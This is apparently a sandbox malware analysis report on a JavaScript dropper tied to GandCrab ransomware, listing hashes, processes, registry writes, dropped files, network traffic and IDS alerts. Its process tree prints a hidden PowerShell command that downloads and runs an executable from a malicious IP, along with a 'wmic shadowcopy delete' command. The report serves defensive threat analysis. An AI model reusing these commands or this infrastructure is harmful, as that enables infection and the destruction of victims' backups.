File name: | Love_You_2019_-1199928688-txt.js |
Full analysis: | https://app.any.run/tasks/df62f007-a4c8-4344-bbb6-5f83f4a5c8f2 |
Verdict: | Malicious activity |
Threats: | GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost. |
Analysis date: | January 17, 2019, 20:34:19 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with very long lines, with CRLF, CR line terminators |
MD5: | 9941F4F101E0D49D8568CED9A54E2AF3 |
SHA1: | 49664532850C8DEFE72B60419010534E8E16FAB0 |
SHA256: | 1BDB69079FBB9B6D05C7468127E5DA4AA2B8AC50C2313F060AE80D7B84741746 |
SSDEEP: | 192:PrVakvpjl/0qXpf4OYZAfOwHXUYnzReeA:PHh/0qXtzPOEXveeA |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2980 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_-1199928688-txt.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
4068 | "C:\Windows\System32\cmd.exe" /c jRpZMybeFLGEwrkSDugsUoBvCcdxqTzP & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%Uxs88.exe'); & start %temp%Uxs88.exe | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2736 | powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUxs88.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
4088 | C:\Users\admin\AppData\Local\TempUxs88.exe | C:\Users\admin\AppData\Local\TempUxs88.exe | cmd.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3288 | C:\Users\admin\66087085470750\winsvcs.exe | C:\Users\admin\66087085470750\winsvcs.exe | TempUxs88.exe | |
User: admin Integrity Level: MEDIUM | ||||
3252 | C:\Users\admin\AppData\Local\Temp\3583839998.exe | C:\Users\admin\AppData\Local\Temp\3583839998.exe | winsvcs.exe | |
User: admin Integrity Level: MEDIUM | ||||
2708 | "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete | C:\Windows\system32\wbem\wmic.exe | 3583839998.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3872 | C:\Windows\system32\vssvc.exe | C:\Windows\system32\vssvc.exe | — | services.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
(PID) Process: | (2980) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
(PID) Process: | (2980) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 1 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
Operation: | write | Name: | LanguageList |
Value: en-US | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (2736) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2736 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V4V2P3NI3G8PVDCE33E9.temp | — | |
MD5:— | SHA256:— | |||
3252 | 3583839998.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi | — | |
MD5:— | SHA256:— | |||
3252 | 3583839998.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.jkielctf | — | |
MD5:— | SHA256:— | |||
2736 | powershell.exe | C:\Users\admin\AppData\Local\TempUxs88.exe | executable | |
MD5:0673B159C2F01FADEADC3306F2BB5390 | SHA256:5DF55A2D3F688735E0D530A7639DADAC3817D4B3F2972276FB3B046D381A9121 | |||
3252 | 3583839998.exe | C:\JKIELCTF-DECRYPT.txt | text | |
MD5:BB5D90D3A49CD486A1B01E8D2DCC532A | SHA256:6F359EF3DC6E93B1F393DD4B07358AC2FE7E05B5E75D72E0C022CBAE9A3E034B | |||
3288 | winsvcs.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exe | executable | |
MD5:E387BD817E9B7F02FA9C2511CC345F12 | SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9 | |||
3252 | 3583839998.exe | C:\Config.Msi\JKIELCTF-DECRYPT.txt | text | |
MD5:BB5D90D3A49CD486A1B01E8D2DCC532A | SHA256:6F359EF3DC6E93B1F393DD4B07358AC2FE7E05B5E75D72E0C022CBAE9A3E034B | |||
2736 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20e718.TMP | binary | |
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8 | SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3 | |||
3252 | 3583839998.exe | C:\System Volume Information\SPP\OnlineMetadataCache\{05ed3515-06b3-48f6-8cf2-bf24b1bf0727}_OnDiskSnapshotProp | — | |
MD5:— | SHA256:— | |||
3252 | 3583839998.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3288 | winsvcs.exe | GET | — | 92.63.197.153:80 | http://92.63.197.153/s/1.exe | RU | — | — | malicious |
2736 | powershell.exe | GET | 200 | 92.63.197.153:80 | http://92.63.197.153/mcdonalds.exe | RU | executable | 278 Kb | malicious |
3288 | winsvcs.exe | GET | 200 | 92.63.197.153:80 | http://92.63.197.153/s/1.exe | RU | executable | 361 Kb | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/3.exe | RU | html | 178 b | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/2.exe | RU | html | 178 b | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/4.exe | RU | html | 178 b | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/2.exe | RU | html | 178 b | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/4.exe | RU | html | 178 b | malicious |
3252 | 3583839998.exe | GET | 301 | 138.201.162.99:80 | http://www.kakaocorp.link/ | DE | html | 162 b | malicious |
3288 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/4.exe | RU | html | 178 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2736 | powershell.exe | 92.63.197.153:80 | — | — | RU | malicious |
3288 | winsvcs.exe | 92.63.197.153:80 | — | — | RU | malicious |
3252 | 3583839998.exe | 138.201.162.99:80 | www.kakaocorp.link | Hetzner Online GmbH | DE | malicious |
3252 | 3583839998.exe | 138.201.162.99:443 | www.kakaocorp.link | Hetzner Online GmbH | DE | malicious |
Domain | IP | Reputation |
---|---|---|
www.kakaocorp.link |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2736 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2736 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2736 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2736 | powershell.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
3288 | winsvcs.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3288 | winsvcs.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
3288 | winsvcs.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3288 | winsvcs.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
3288 | winsvcs.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3288 | winsvcs.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |